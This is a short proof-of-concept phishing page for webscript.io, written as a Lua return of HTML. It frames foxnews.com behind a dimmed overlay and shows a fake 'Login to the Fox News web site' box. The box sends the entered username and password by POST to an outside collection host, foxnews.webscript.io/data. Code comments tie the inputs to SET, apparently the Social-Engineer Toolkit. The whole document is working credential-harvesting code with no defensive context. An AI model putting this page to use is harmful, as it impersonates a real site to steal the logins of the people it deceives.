webscript.io phishing POC

return [[<iframe src="http://www.foxnews.com/" style=" margin: 0px; padding: 0px; width: 100%; height: 2000px;" ></iframe>

<!-- Add the background to give the popup effect -->
<div id="bg" style="background-color: #111111; opacity: 0.65; filter: alpha(opacity=65); position: absolute; z-index: 9000; top: 0px; left: 0px; width: 100%; height: 2000px;"></div>

<!-- Create the login box -->
<div id="login" style="padding: 16px; position: absolute; top: 40px; left: 40px; background-color: #eeeeee; width: 300px; z-index: 10000; text-align: left; border: 2px solid #000000;">
<p>Login to the Fox News web site.</p>

<!-- The action on the form is not important, but the method should be POST -->
<form action="http://foxnews.webscript.io/data" method="POST">
<table border="0" cellpadding="1" cellspacing="1">

<!-- SET wants inputs named username and password -->
<tr><td>Username: </td><td><input type="text" name="username" /></td></tr>
<tr><td>Password: </td><td><input type="password" name="password" /></td></tr>
<tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
</div>]], {["Content-Type"]="text/html"}